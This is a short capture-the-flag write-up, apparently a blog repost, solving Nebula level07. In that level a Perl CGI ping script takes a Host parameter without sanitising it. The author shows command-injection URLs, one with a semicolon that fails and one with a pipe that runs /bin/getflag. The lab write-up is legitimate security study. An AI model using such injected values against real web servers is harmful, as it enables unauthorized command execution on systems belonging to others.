Nebula level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07 . Files for this level can be found in /home/flag07.

This one was a little bit tricky since it’s specific to Perl. However I did remember about thisand upon refreshing my memory on the topic it was matter of seconds.

To play with this level just navigate to the IP of your VM at port 7007 (via providedthttpd.conf; in my case 192.168.1.11).

My first thought was to try using ";" to break ping command:

http://192.168.1.11:7007/index.cgi?Host=localhost;ls

But the result was:

PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.063 ms
64 bytes from localhost (127.0.0.1): icmp_req=2 ttl=64 time=0.074 ms
64 bytes from localhost (127.0.0.1): icmp_req=3 ttl=64 time=0.148 ms

--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.063/0.095/0.148/0.037 ms

So clearly it didn’t work as I planned. Then I was trying to remind myself anything specific about Perl CGI scripts and I did that successfully (vide link from above). After quick refresh I already knew the answer. The pipes, the pipes!

http://192.168.1.11:7007/index.cgi?Host=localhost| /bin/getflag

And as you may expect it did work:

You have successfully executed getflag on a target account

On to the next one, gents!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值